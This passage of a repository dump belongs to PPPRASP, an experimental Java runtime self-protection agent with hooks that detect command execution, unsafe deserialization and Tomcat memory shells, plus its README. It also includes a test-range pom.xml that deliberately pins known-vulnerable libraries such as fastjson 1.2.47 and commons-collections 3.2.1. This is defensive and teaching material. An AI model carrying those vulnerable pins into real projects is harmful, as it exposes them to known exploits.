| 18 | import javax.annotation.Resource; 19 | 20 | /** 21 | * @author Whoopsunix 22 | * 23 | * 命令执行 24 | */ 25 | @MetaInfServices(Module.class) 26 | @Information(id = "rasp-rce", author = "Whoopsunix", version = "1.1.0") 27 | public class RceHook implements Module, ModuleLifecycle { 28 | 29 | @Resource 30 | private ModuleEventWatcher moduleEventWatcher; 31 | 32 | /** 33 | * java.lang.ProcessBuilder.start() 34 | */ 35 | public void checkProcessBuilder() { 36 | Status status = RASPConfig.getAlgoStatus(Algorithm.RCENormal.getAlgoId(), Algorithm.RCENormal.getAlgoName()); 37 | if (status == null || status == Status.CLOSE) 38 | return; 39 | try { 40 | String className = "java.lang.ProcessBuilder"; 41 | String methodName = "start"; 42 | new EventWatchBuilder(moduleEventWatcher) 43 | .onClass(className) 44 | .includeBootstrap() 45 | .onBehavior(methodName) 46 | .onWatch(new AdviceListener() { 47 | @Override 48 | protected void before(Advice advice) throws Throwable { 49 | RASPContext.Context context = RASPContext.getContext(); 50 | if (context != null) { 51 | String cve = RASPManager.showStackTracerWithCVECheck(); 52 | RASPManager.changeResponse(context.getHttpBundle()); 53 | String blockInfo; 54 | if (cve != null) { 55 | blockInfo = String.format("[!] %s Blocked by PPPRASP, %s.%s() triggered by %s [!]", VulInfo.RCE.getDescription(), className, methodName, cve); 56 | } else { 57 | blockInfo = String.format("[!] %s Blocked by PPPRASP, %s.%s() [!]", VulInfo.RCE.getDescription(), className, methodName); 58 | } 59 | 60 | RASPManager.scheduler(status, blockInfo); 61 | } 62 | super.before(advice); 63 | } 64 | 65 | }); 66 | } catch (Exception e) { 67 | 68 | } 69 | } 70 | 71 | /** 72 | * native java.lang.UNIXProcess.forkAndExec 73 | */ 74 | public void checkNative() { 75 | Status status = RASPConfig.getAlgoStatus(Algorithm.RCENative.getAlgoId(), Algorithm.RCENative.getAlgoName()); 76 | if (status == null || status == Status.CLOSE) 77 | return; 78 | try { 79 | String className = "java.lang.UNIXProcess"; 80 | String methodName = "forkAndExec"; 81 | 82 | new EventWatchBuilder(moduleEventWatcher) 83 | .onClass(className) 84 | .includeBootstrap() 85 | .onBehavior(methodName) 86 | .onWatch(new AdviceListener() { 87 | @Override 88 | protected void before(Advice advice) throws Throwable { 89 | RASPContext.Context context = RASPContext.getContext(); 90 | if (context != null) { 91 | String cve = RASPManager.showStackTracerWithCVECheck(); 92 | RASPManager.changeResponse(context.getHttpBundle()); 93 | String blockInfo; 94 | if (cve != null) { 95 | blockInfo = String.format("[!] %s Blocked by PPPRASP, %s.%s() triggered by %s [!]", VulInfo.RCE.getDescription(), className, methodName, cve); 96 | } else { 97 | blockInfo = String.format("[!] %s Blocked by PPPRASP, %s.%s() [!]", VulInfo.RCE.getDescription(), className, methodName); 98 | } 99 | 100 | RASPManager.scheduler(status, blockInfo); 101 | } 102 | 103 | super.before(advice); 104 | } 105 | }); 106 | } catch (Exception e) { 107 | 108 | } 109 | } 110 | 111 | @Override 112 | public void onLoad() throws Throwable { 113 | 114 | } 115 | 116 | @Override 117 | public void onUnload() throws Throwable { 118 | 119 | } 120 | 121 | @Override 122 | public void onActive() throws Throwable { 123 | 124 | } 125 | 126 | @Override 127 | public void onFrozen() throws Throwable { 128 | 129 | } 130 | 131 | @Override 132 | public void loadCompleted() { 133 | checkProcessBuilder(); 134 | checkNative(); 135 | } 136 | } 137 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | com.ppp.vulns.core 6 | vulnsCore 7 | 1.0-SNAPSHOT 8 | jar 9 | 10 | vulnsCore 11 | 12 | 13 | UTF-8 14 | 15 | 16 | 17 | 18 | commons-io 19 | commons-io 20 | 2.2 21 | compile 22 | 23 | 24 | 25 | 26 | mysql 27 | mysql-connector-java 28 | 8.0.32 29 | 30 | 31 | 32 | org.hibernate 33 | hibernate-core 34 | 5.5.6.Final 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | org.springframework 67 | spring-expression 68 | 4.3.16.RELEASE 69 | 70 | 71 | org.springframework 72 | spring-context 73 | 5.3.28 74 | 75 | 76 | 77 | ognl 78 | ognl 79 | 2.7.3 80 | 81 | 82 | org.mybatis 83 | mybatis 84 | 85 | 3.4.0 86 | 87 | 88 | 89 | commons-collections 90 | commons-collections 91 | 3.2.1 92 | 93 | 94 | commons-beanutils 95 | commons-beanutils 96 | 1.9.2 97 | 98 | 99 | org.apache.commons 100 | commons-collections4 101 | 4.0 102 | 103 | 104 | com.fasterxml.jackson.core 105 | jackson-databind 106 | 2.8.9 107 | 108 | 109 | com.alibaba 110 | fastjson 111 | 1.2.47 112 | 113 | 114 | com.thoughtworks.xstream 115 | xstream 116 | 1.4.17 117 | 118 | 119 | org.yaml 120 | snakeyaml 121 | 1.27 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | org.apache.maven.plugins 140 | maven-compiler-plugin 141 | 142 | 8 143 | 8 144 | 145 | 146 | 147 | 148 | 149 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/utils/InterfaceProxyUtils.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.utils; 2 | 3 | /** 4 | * @author jvm-sandbnox 5 | */ 6 | import org.apache.commons.lang3.StringUtils; 7 | 8 | import java.lang.annotation.Retention; 9 | import java.lang.annotation.Target; 10 | import java.lang.reflect.AccessibleObject; 11 | import java.lang.reflect.InvocationHandler; 12 | import java.lang.reflect.Method; 13 | import java.lang.reflect.Proxy; 14 | import java.util.Map; 15 | import java.util.concurrent.ConcurrentHashMap; 16 | 17 | import static com.alibaba.jvm.sandbox.api.util.GaStringUtils.getJavaClassName; 18 | import static com.alibaba.jvm.sandbox.api.util.GaStringUtils.getJavaClassNameArray; 19 | import static java.lang.annotation.ElementType.METHOD; 20 | import static java.lang.annotation.RetentionPolicy.RUNTIME; 21 | import static java.util.Arrays.deepEquals; 22 | 23 | public class InterfaceProxyUtils { 24 | 25 | @Target(METHOD) 26 | @Retention(RUNTIME) 27 | public @interface ProxyMethod { 28 | 29 | /** 30 | * 目标方法名 31 | * 32 | * @return 目标方法名 33 | */ 34 | String name(); 35 | 36 | } 37 | 38 | /** 39 | * 用于包装目标对象操作的代理方法处理 40 | */ 41 | static abstract class WrapInvocationHandler implements InvocationHandler { 42 | 43 | final Map mappingOfWrapMethods = new ConcurrentHashMap<>(); 44 | 45 | String getInterfaceMethodName(final Method interfaceMethod) { 46 | final ProxyMethod proxyMethod = interfaceMethod.getAnnotation(ProxyMethod.class); 47 | return null == proxyMethod 48 | ? interfaceMethod.getName() 49 | : proxyMethod.name(); 50 | } 51 | 52 | /** 53 | * 比较interfaceMethod和targetMethod两个方法是否接近 54 | * 55 | * @param interfaceMethod 接口声明的方法 56 | * @param targetMethod 目标对象声明的方法 57 | * @return TRUE:接近;FALSE:不接近 58 | */ 59 | boolean isCloseTo(final Method interfaceMethod, final Method targetMethod) { 60 | return StringUtils.equals(getInterfaceMethodName(interfaceMethod), targetMethod.getName()) 61 | && deepEquals(getJavaClassNameArray(interfaceMethod.getParameterTypes()), getJavaClassNameArray(targetMethod.getParameterTypes())); 62 | } 63 | 64 | Method getTargetMethod(final Method interfaceMethod, final Object target) throws NoSuchMethodException { 65 | if (mappingOfWrapMethods.containsKey(interfaceMethod)) { 66 | return mappingOfWrapMethods.get(interfaceMethod); 67 | } 68 | for (final Method targetMethod : target.getClass().getMethods()) { 69 | if (isCloseTo(interfaceMethod, targetMethod)) { 70 | mappingOfWrapMethods.put(interfaceMethod, targetMethod); 71 | return targetMethod; 72 | } 73 | } 74 | throw new NoSuchMethodException(String.format("%s.%s(%s) method not found!", 75 | getJavaClassName(target.getClass()), 76 | getInterfaceMethodName(interfaceMethod), 77 | StringUtils.join(getJavaClassNameArray(interfaceMethod.getParameterTypes()), ",") 78 | )); 79 | } 80 | 81 | } 82 | 83 | /** 84 | * 构造一个接口的实现傀儡类,用接口去调用目标类 85 | * 86 | * @param interfaceClass 目标接口 87 | * @param target 傀儡类实例 88 | * @param 目标接口类型 89 | * @return 被目标接口操纵的傀儡对象实例 90 | */ 91 | @SuppressWarnings("unchecked") 92 | public static T puppet(final Class interfaceClass, 93 | final Object target) { 94 | return (T) Proxy.newProxyInstance( 95 | interfaceClass.getClassLoader(), 96 | new Class[]{interfaceClass}, 97 | new WrapInvocationHandler() { 98 | 99 | @Override 100 | public Object invoke(Object proxy, Method interfaceMethod, Object[] args) throws Throwable { 101 | return getTargetMethod(interfaceMethod, target).invoke(target, args); 102 | } 103 | 104 | } 105 | ); 106 | } 107 | 108 | 109 | public interface MethodInterceptor { 110 | Object invoke(MethodInvocation methodInvocation) throws Throwable; 111 | } 112 | 113 | public interface MethodInvocation { 114 | Method getMethod(); 115 | 116 | Object[] getArguments(); 117 | 118 | Object proceed() throws Throwable; 119 | 120 | Object getThis(); 121 | 122 | AccessibleObject getStaticPart(); 123 | } 124 | 125 | /** 126 | * 拦截目标类的方法 127 | * 128 | * @param interfaceClassInTargetClassLoader 目标接口 129 | * @param targetClassLoader 目标对象所在ClassLoader 130 | * @param target 目标对象实例 131 | * @param interceptor 拦截器 132 | * @return 带拦截器的目标对象实例 133 | */ 134 | public static Object intercept(final Class interfaceClassInTargetClassLoader, 135 | final ClassLoader targetClassLoader, 136 | final Object target, 137 | final MethodInterceptor interceptor) { 138 | return Proxy.newProxyInstance( 139 | targetClassLoader, 140 | new Class[]{interfaceClassInTargetClassLoader}, 141 | (proxy, method, args) -> interceptor.invoke(new MethodInvocation() { 142 | @Override 143 | public Method getMethod() { 144 | return method; 145 | } 146 | 147 | @Override 148 | public Object[] getArguments() { 149 | return args; 150 | } 151 | 152 | @Override 153 | public Object proceed() throws Throwable { 154 | return method.invoke(target, args); 155 | } 156 | 157 | @Override 158 | public Object getThis() { 159 | return target; 160 | } 161 | 162 | @Override 163 | public AccessibleObject getStaticPart() { 164 | return method; 165 | } 166 | }) 167 | ); 168 | } 169 | 170 | } 171 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/hook/vul/DeserializationHook.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.hook.vul; 2 | 3 | import com.alibaba.jvm.sandbox.api.Information; 4 | import com.alibaba.jvm.sandbox.api.Module; 5 | import com.alibaba.jvm.sandbox.api.ModuleLifecycle; 6 | import com.alibaba.jvm.sandbox.api.listener.ext.Advice; 7 | import com.alibaba.jvm.sandbox.api.listener.ext.AdviceListener; 8 | import com.alibaba.jvm.sandbox.api.listener.ext.EventWatchBuilder; 9 | import com.alibaba.jvm.sandbox.api.resource.ModuleEventWatcher; 10 | import com.ppprasp.agent.check.DeserializationChecker; 11 | import com.ppprasp.agent.common.RASPConfig; 12 | import com.ppprasp.agent.common.RASPContext; 13 | import com.ppprasp.agent.common.RASPManager; 14 | import com.ppprasp.agent.common.enums.Algorithm; 15 | import com.ppprasp.agent.common.enums.Status; 16 | import com.ppprasp.agent.common.enums.VulInfo; 17 | import org.kohsuke.MetaInfServices; 18 | 19 | import javax.annotation.Resource; 20 | import java.io.ObjectStreamClass; 21 | 22 | /** 23 | * @author Whoopsunix 24 | *

25 | * 反序列化 26 | */ 27 | @MetaInfServices(Module.class) 28 | @Information(id = "rasp-deserialization", author = "Whoopsunix", version = "1.1.0") 29 | public class DeserializationHook implements Module, ModuleLifecycle { 30 | @Resource 31 | private ModuleEventWatcher moduleEventWatcher; 32 | 33 | /** 34 | * java.io.ObjectInputStream.resolveClass() 35 | */ 36 | public void checkResolveClass() { 37 | Status status = RASPConfig.getAlgoStatus(Algorithm.Deserialization.getAlgoId(), Algorithm.Deserialization.getAlgoName()); 38 | if (status == null || status == Status.CLOSE) 39 | return; 40 | 41 | try { 42 | String className = "java.io.ObjectInputStream"; 43 | String methodName = "resolveClass"; 44 | new EventWatchBuilder(moduleEventWatcher) 45 | .onClass(className) 46 | .includeBootstrap() 47 | .includeSubClasses() 48 | .onBehavior(methodName) 49 | .onWatch(new AdviceListener() { 50 | @Override 51 | protected void before(Advice advice) throws Throwable { 52 | ObjectStreamClass objectStreamClass = (ObjectStreamClass) advice.getParameterArray()[0]; 53 | String classNameWithSerialVersionUID = objectStreamClass.toString(); 54 | String className = objectStreamClass.getName(); 55 | 56 | RASPContext.Context context = RASPContext.getContext(); 57 | if (DeserializationChecker.isDangerousClass(className) && context != null) { 58 | String cve = RASPManager.showStackTracerWithCVECheck(); 59 | RASPManager.changeResponse(context.getHttpBundle()); 60 | String blockInfo; 61 | if (cve != null) { 62 | blockInfo = String.format("[!] %s Blocked by PPPRASP, find black class %s triggered by %s [!]", VulInfo.DESERIALIZATION.getDescription(), className, cve); 63 | } else { 64 | blockInfo = String.format("[!] %s Blocked by PPPRASP, find black class %s [!]", VulInfo.DESERIALIZATION.getDescription(), className); 65 | } 66 | 67 | RASPManager.scheduler(status, blockInfo); 68 | } 69 | 70 | super.before(advice); 71 | } 72 | 73 | }); 74 | } catch (Exception e) { 75 | 76 | } 77 | } 78 | 79 | public void checkXML() { 80 | Status status = RASPConfig.getAlgoStatus(Algorithm.XMLDeserialization.getAlgoId(), Algorithm.XMLDeserialization.getAlgoName()); 81 | if (status == null || status == Status.CLOSE) 82 | return; 83 | 84 | try { 85 | String className = "org.springframework.context.support.AbstractXmlApplicationContext"; 86 | String methodName = ""; 87 | new EventWatchBuilder(moduleEventWatcher) 88 | .onClass(className) 89 | .includeBootstrap() 90 | .includeSubClasses() 91 | .onBehavior(methodName) 92 | .onWatch(new AdviceListener() { 93 | @Override 94 | protected void before(Advice advice) throws Throwable { 95 | String className = advice.getTarget().getClass().getName(); 96 | 97 | String url = (String) advice.getParameterArray()[0]; 98 | 99 | RASPContext.Context context = RASPContext.getContext(); 100 | if ((className.equalsIgnoreCase("org.springframework.context.support.ClassPathXmlApplicationContext") 101 | || className.equalsIgnoreCase("org.springframework.context.support.FileSystemXmlApplicationContext")) && context != null) { 102 | String cve = RASPManager.showStackTracerWithCVECheck(); 103 | RASPManager.changeResponse(context.getHttpBundle()); 104 | String blockInfo; 105 | if (cve != null) { 106 | blockInfo = String.format("[!] %s Blocked by PPPRASP, find black class %s, url: %s triggered by %s [!]", VulInfo.XMLDeserialization.getDescription(), className, url, cve); 107 | } else { 108 | blockInfo = String.format("[!] %s Blocked by PPPRASP, find black class %s, url: %s [!]", VulInfo.XMLDeserialization.getDescription(), className, url); 109 | } 110 | 111 | RASPManager.scheduler(status, blockInfo); 112 | } 113 | 114 | super.before(advice); 115 | } 116 | 117 | }); 118 | } catch (Exception e) { 119 | 120 | } 121 | } 122 | 123 | @Override 124 | public void onLoad() throws Throwable { 125 | 126 | } 127 | 128 | @Override 129 | public void onUnload() throws Throwable { 130 | 131 | } 132 | 133 | @Override 134 | public void onActive() throws Throwable { 135 | 136 | } 137 | 138 | @Override 139 | public void onFrozen() throws Throwable { 140 | 141 | } 142 | 143 | @Override 144 | public void loadCompleted() { 145 | checkResolveClass(); 146 | checkXML(); 147 | } 148 | } 149 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PPPRASP 2 | 3 | By. Whoopsunix 4 | 5 | ## why jvm-sandbox? 6 | 7 | 发现 [jvm-sandbox](https://github.com/alibaba/jvm-sandbox) 从 1.4.0 开始支持 Native 的增强,正好写一个简单的 RASP Demo 来熟悉这个 AOP 框架(~~其实是懒得用从头用 ASM 写~~)。 8 | 9 | + AOP 框架、沙箱类隔离等架构优点,很难拒绝 10 | + 基层基于 ASM 实现,框架比较熟悉,后续有更复杂的需求时可以改源码方便 11 | + 虽然没有一个很详细的文档,不过好在源代码注释非常多,并且给出了 [Module 编写例子](https://github.com/oldmanpushcart/sandbox-module-example/blob/master/README.md),在 [sandbox-debug-module](https://github.com/alibaba/jvm-sandbox/blob/1.4.0/sandbox-debug-module) 中提供了很多工具类代码 12 | 13 | RASP 真的很适合用来学 Java,复现、分析、防护,连贯性的学习会加深对 Java 的理解。 14 | 15 | ## 关于项目 16 | 17 | 🚩 陆续同步 [JavaRce](https://github.com/Whoopsunix/JavaRce) 项目实现基础漏洞的 HOOK,已实现的 CVE 触发检测可从 [PPPVULNS](https://github.com/Whoopsunix/PPPVULNS) 项目获取靶场 18 | 19 | ⭐️ 只有来自外部的请求才会进入 HOOK 点检测 20 | 21 | 🛰️ 目前定位为实验性质辅助 hook 研究,暂不考虑实际应用场景,性能问题、数据交互问题均不考虑 22 | 23 | + 可以使用项目配套测试环境 [SecVulns](SecVulns) 进行测试 24 | + [vulnsCore](SecVulns/vulnsCore) 为漏洞代码,不同的组件引入后可以直接运行 25 | + [SecVulnsREST](SecVulns/SecVulnsREST) 为 Rest Client 文件可直接发送测试用例 26 | 27 | ## 数据交互 28 | 29 | 关于 module 的长连接数据交互不考虑,具体原因可以看这个 [issue](https://github.com/alibaba/jvm-sandbox/issues/431),在实际的测试中也确实发现 jetty 存在不少的意料之外的问题(还算不上 bug) 30 | 31 | --------------- 32 | 33 | # 0x00 Start 34 | 35 | 1. 打包 ppprasp-agent 36 | 37 | pom.xml 报错是正常的,不影响打包 38 | 39 | ``` 40 | mvn clean package -Dmaven.test.skip=true -Dmaven.javadoc.skip=true 41 | ``` 42 | 43 | 2. 下载 [jvm-sandbox 二进制包](https://github.com/alibaba/jvm-sandbox/releases) 44 | 3. 将打包好的项目移动到 sandbox/sandbox-module 文件夹下 45 | 4. 启动 46 | 47 | -javaagent 48 | 49 | ``` 50 | -javaagent:sandbox/lib/sandbox-agent.jar 51 | ``` 52 | 53 | 或者 attach 54 | 55 | ``` 56 | # 进入沙箱执行脚本 57 | cd sandbox/bin 58 | 59 | # 挂载 目标JVM进程33342 60 | ./sandbox.sh -p 33342 61 | 62 | # 卸载 63 | ./sandbox.sh -p 33342 -S 64 | ``` 65 | 66 | ## sandbox 其他 67 | 68 | -d 可以向 Module 发送命令,eg. `-d 'sandbox-info/version'` 69 | 70 | -P 开启 Jetty 接口,`./sandbox.sh -p 80258 -P 1234` 71 | 72 | 接口开启后可以通过 http 发送 -d 中的命令,eg. `/sandbox/default/module/http/sandbox-info/version` 73 | 74 | 这部分内容没有文档可以参考 [sandbox-mgr-module](https://github.com/alibaba/jvm-sandbox/blob/c01c28ab5d7d97a64071a2aca261804c47a5347e/sandbox-mgr-module/src/main/java/com/alibaba/jvm/sandbox/module/mgr/ModuleMgrModule.java) 来自行构建 75 | 76 | # 0x01 基本漏洞检测类型 77 | 78 | 暂时通过 [rasp.yml](ppprasp-agent/src/main/resources/rasp.yml) 配置文件来配置漏洞检测 79 | 80 | ## 反序列化 81 | 82 | - [x] 黑名单(只放了几个点做测试) 83 | 84 | | 漏洞名称 | Hook 点 | REST API | 备注 | 85 | | ------------ | ------------------------------------------------------------ | ---------------------- | ---- | 86 | | 原生反序列化 | java.io.ObjectInputStream#resolveClass() | /deserialization/case1 | | 87 | | XML 反序列化 | org.springframework.context.support.AbstractXmlApplicationContext. | | | 88 | 89 | ## 内存马 90 | 91 | | 内存马类型 | Hook 点 | REST API | 备注 | 92 | | ----------------- | ------------------------------------------------------------ | --------------- | ---- | 93 | | Spring Controller | org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.MappingRegistry#register() | 见 JavaRce 项目 | | 94 | | Tomcat Executor | org.apache.tomcat.util.net.AbstractEndpoint#setExecutor() | | | 95 | | Tomcat Listener | org.apache.catalina.core.StandardContext#addApplicationEventListener() | | | 96 | | Tomcat Servlet | org.apache.catalina.core.ContainerBase#addChildInternal() | | | 97 | | Tomcat Filter | org.apache.catalina.core.StandardContext#addFilterDef() | | | 98 | 99 | ## 表达式注入 100 | 101 | ### OGNL 102 | 103 | - [x] 黑名单 104 | 105 | | Hook 点 | REST API | 备注 | 106 | | -------------------- | ----------- | ---- | 107 | | ognl.Ognl#getValue() | /ognl/case1 | | 108 | | ognl.Ognl#setValue() | /ognl/case2 | | 109 | 110 | ### SPEL 111 | 112 | - [x] 类黑名单 113 | 114 | | Hook 点 | REST API | 备注 | 115 | | ------------------------------------------------------- | ----------------------------------- | ---- | 116 | | org.springframework.expression.MethodExecutor#execute() | /spel/case1 /spel/case2 /spel/case3 | | 117 | 118 | ## JNDI 注入 119 | 120 | | Hook 点 | REST API | 备注 | 121 | | ----------------------------- | ----------- | ---- | 122 | | javax.naming.Context#lookup() | /jndi/case1 | | 123 | 124 | ## JNI 注入 125 | 126 | | Hook 点 | REST API | 备注 | 127 | | ----------------------- | ---------- | ---- | 128 | | java.lang.System#load() | /jni/case1 | | 129 | 130 | ## 命令执行 131 | 132 | - [x] 参考 [jrasp](https://github.com/jvm-rasp/jrasp-agent) 实现了线程注入的拦截 133 | - [x] Jvm-sandbox 1.4.0 实现了 [native 方法的 hook](https://github.com/alibaba/jvm-sandbox/blob/c01c28ab5d7d97a64071a2aca261804c47a5347e/sandbox-core/src/main/java/com/alibaba/jvm/sandbox/core/enhance/weaver/asm/EventWeaver.java) ,因此支持拦截 `forkAndExec()` 134 | 135 | | 漏洞名称 | Hook 点 | REST API | 备注 | 136 | | -------- | ----------------------------------- | ----------------------------------- | ------------------------------------------------------------ | 137 | | 命令执行 | java.lang.ProcessBuilder.start() | /exec/case1 /exec/case4 | processBuilder | 138 | | 命令执行 | 线程注入 | /exec/case2 | 参考 jrasp 实现 | 139 | | 命令执行 | java.lang.UNIXProcess.forkAndExec() | /exec/case3 /exec/case5 /exec/case6 | processImpl processImplUnixProcess processImplUnixProcessByUnsafeNative | 140 | 141 | ## SQL注入 142 | 143 | - [ ] 语义词义分析 144 | 145 | | Hook 点 | REST API | 备注 | 146 | | ------------------------------------------ | ---------------- | ---- | 147 | | com.mysql.cj.jdbc.StatementImpl 类查询语句 | /sql/mysql/case1 | | 148 | 149 | ## 文件上传 150 | 151 | - [x] 提取出文件名和文件内容 152 | 153 | | 漏洞名称 | Hook 点 | REST API | 备注 | 154 | | -------- | ------------------------------------------------------- | ------------------------------------- | ---- | 155 | | 文件上传 | org.apache.tomcat.util.http.fileupload.FileItem.write() | /file/upload/case2 /file/upload/case4 | | 156 | | 文件上传 | org.apache.commons.fileupload.FileItem#write() | /file/upload/case3 | | 157 | 158 | ## 路径遍历 159 | 160 | | 漏洞名称 | Hook 点 | REST API | 备注 | 161 | | -------- | ------------------------ | --------------------- | -------------------------------------------- | 162 | | 路径遍历 | java.io.File#listFiles() | /file/directory/case1 | | 163 | | 路径遍历 | java.io.File#list() | /file/directory/case2 | https://github.com/baidu/openrasp/issues/274 | 164 | 165 | # 0x02 CVE漏洞触发检测 166 | 167 | CVE 漏洞分成两类 168 | 169 | + 一类是在基础漏洞上的触发比如 SPEL ,不需要额外 HOOK,遍历调用栈匹配漏洞触发类就能确定是否由 CVE 触发,所以之后分析漏洞时都会添加 170 | + 另一类就是框架本身的问题,比如权限绕过这种不好直接归类到具体的漏洞类别中,目前暂时不处理 171 | 172 | ## 支持漏洞 173 | 174 | 反序列化漏洞需要准确识别到调用了相关黑名单函数才会拦截,目前没有针对此补全,所以实际 CVE 检测时可能上报其他漏洞检测类型。 175 | 176 | | 基本漏洞类型 | 组件 | CVE | 177 | | --------------- | ---------------- | ---------------------------- | 178 | | SPEL | Spring-messaging | CVE-2018-1270, CVE-2018-1275 | 179 | | Deserialization | Apache Dubbo | CVE-2019-17564 | 180 | | Deserialization | Apache Dubbo | CVE-2020-1948 | 181 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/hook/memshell/TomcatMemShellHook.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.hook.memshell; 2 | 3 | import com.alibaba.jvm.sandbox.api.Information; 4 | import com.alibaba.jvm.sandbox.api.Module; 5 | import com.alibaba.jvm.sandbox.api.ModuleLifecycle; 6 | import com.alibaba.jvm.sandbox.api.listener.ext.Advice; 7 | import com.alibaba.jvm.sandbox.api.listener.ext.AdviceListener; 8 | import com.alibaba.jvm.sandbox.api.listener.ext.EventWatchBuilder; 9 | import com.alibaba.jvm.sandbox.api.resource.ModuleEventWatcher; 10 | import com.ppprasp.agent.check.ClassChecker; 11 | import com.ppprasp.agent.common.RASPConfig; 12 | import com.ppprasp.agent.common.RASPContext; 13 | import com.ppprasp.agent.common.RASPManager; 14 | import com.ppprasp.agent.common.enums.Algorithm; 15 | import com.ppprasp.agent.common.enums.Middleware; 16 | import com.ppprasp.agent.common.enums.Status; 17 | import com.ppprasp.agent.common.enums.VulInfo; 18 | import com.ppprasp.agent.utils.Reflections; 19 | import org.kohsuke.MetaInfServices; 20 | 21 | import javax.annotation.Resource; 22 | 23 | /** 24 | * @author Whoopsunix 25 | *

26 | * Spring 内存马 27 | */ 28 | @MetaInfServices(Module.class) 29 | @Information(id = "rasp-ms-tomcat", author = "Whoopsunix", version = "1.0.0") 30 | public class TomcatMemShellHook implements Module, ModuleLifecycle { 31 | @Resource 32 | private ModuleEventWatcher moduleEventWatcher; 33 | 34 | public void checkExecutor() { 35 | Status status = RASPConfig.getAlgoStatus(Algorithm.MSTomcatExecutor.getAlgoId(), Algorithm.MSTomcatExecutor.getAlgoName()); 36 | if (status == null || status == Status.CLOSE) 37 | return; 38 | try { 39 | String className = "org.apache.tomcat.util.net.AbstractEndpoint"; 40 | String methodName = "setExecutor"; 41 | new EventWatchBuilder(moduleEventWatcher) 42 | .onClass(className) 43 | .includeBootstrap() 44 | .onBehavior(methodName) 45 | .onWatch(new AdviceListener() { 46 | @Override 47 | protected void before(Advice advice) throws Throwable { 48 | Object executor = advice.getParameterArray()[0]; 49 | 50 | RASPContext.Context context = RASPContext.getContext(); 51 | if (context != null && !ClassChecker.hasLocalClassFile(executor.getClass())) { 52 | RASPManager.showStackTracer(); 53 | RASPManager.changeResponse(context.getHttpBundle()); 54 | String blockInfo = String.format("[!] %s %s Blocked by PPPRASP [!]", Middleware.Tomcat.getDescription(), VulInfo.MSExecutor.getDescription()); 55 | 56 | RASPManager.scheduler(status, blockInfo); 57 | } 58 | super.before(advice); 59 | } 60 | 61 | }); 62 | } catch (Exception e) { 63 | 64 | } 65 | } 66 | 67 | public void checkListener() { 68 | Status status = RASPConfig.getAlgoStatus(Algorithm.MSTomcatListener.getAlgoId(), Algorithm.MSTomcatListener.getAlgoName()); 69 | if (status == null || status == Status.CLOSE) 70 | return; 71 | try { 72 | String className = "org.apache.catalina.core.StandardContext"; 73 | String methodName = "addApplicationEventListener"; 74 | new EventWatchBuilder(moduleEventWatcher) 75 | .onClass(className) 76 | .includeBootstrap() 77 | .onBehavior(methodName) 78 | .onWatch(new AdviceListener() { 79 | @Override 80 | protected void before(Advice advice) throws Throwable { 81 | Object listener = advice.getParameterArray()[0]; 82 | 83 | RASPContext.Context context = RASPContext.getContext(); 84 | if (context != null && !ClassChecker.hasLocalClassFile(listener.getClass())) { 85 | RASPManager.showStackTracer(); 86 | RASPManager.changeResponse(context.getHttpBundle()); 87 | String blockInfo = String.format("[!] %s %s Blocked by PPPRASP [!]", Middleware.Tomcat.getDescription(), VulInfo.MSListener.getDescription()); 88 | 89 | RASPManager.scheduler(status, blockInfo); 90 | } 91 | super.before(advice); 92 | } 93 | 94 | }); 95 | } catch (Exception e) { 96 | 97 | } 98 | } 99 | 100 | public void checkServlet() { 101 | Status status = RASPConfig.getAlgoStatus(Algorithm.MSTomcatServlet.getAlgoId(), Algorithm.MSTomcatServlet.getAlgoName()); 102 | if (status == null || status == Status.CLOSE) 103 | return; 104 | try { 105 | String className = "org.apache.catalina.core.ContainerBase"; 106 | String methodName = "addChildInternal"; 107 | new EventWatchBuilder(moduleEventWatcher) 108 | .onClass(className) 109 | .includeBootstrap() 110 | .onBehavior(methodName) 111 | .onWatch(new AdviceListener() { 112 | @Override 113 | protected void before(Advice advice) throws Throwable { 114 | Object standardWrapper = advice.getParameterArray()[0]; 115 | 116 | Object instance = Reflections.getFieldValue(standardWrapper, "instance"); 117 | Object name = Reflections.getFieldValue(standardWrapper, "name"); 118 | 119 | RASPContext.Context context = RASPContext.getContext(); 120 | if (context != null && !ClassChecker.hasLocalClassFile(instance.getClass())) { 121 | RASPManager.showStackTracer(); 122 | RASPManager.changeResponse(context.getHttpBundle()); 123 | String blockInfo = String.format("[!] %s %s Blocked by PPPRASP, MemShell name is %s [!]", Middleware.Tomcat.getDescription(), VulInfo.MSServlet.getDescription(), name); 124 | 125 | RASPManager.scheduler(status, blockInfo); 126 | } 127 | super.before(advice); 128 | } 129 | 130 | }); 131 | } catch (Exception e) { 132 | 133 | } 134 | } 135 | 136 | public void checkFilter() { 137 | Status status = RASPConfig.getAlgoStatus(Algorithm.MSTomcatFilter.getAlgoId(), Algorithm.MSTomcatFilter.getAlgoName()); 138 | if (status == null || status == Status.CLOSE) 139 | return; 140 | try { 141 | String className = "org.apache.catalina.core.StandardContext"; 142 | String methodName = "addFilterDef"; 143 | new EventWatchBuilder(moduleEventWatcher) 144 | .onClass(className) 145 | .includeBootstrap() 146 | .onBehavior(methodName) 147 | .onWatch(new AdviceListener() { 148 | @Override 149 | protected void before(Advice advice) throws Throwable { 150 | Object filterDef = advice.getParameterArray()[0]; 151 | 152 | Object filterName = Reflections.getFieldValue(filterDef, "filterName"); 153 | Object filterClass = Reflections.getFieldValue(filterDef, "filterClass"); 154 | Object filter = Reflections.getFieldValue(filterDef, "filter"); 155 | 156 | RASPContext.Context context = RASPContext.getContext(); 157 | if (context != null && !ClassChecker.hasLocalClassFile(filter.getClass())) { 158 | RASPManager.showStackTracer(); 159 | 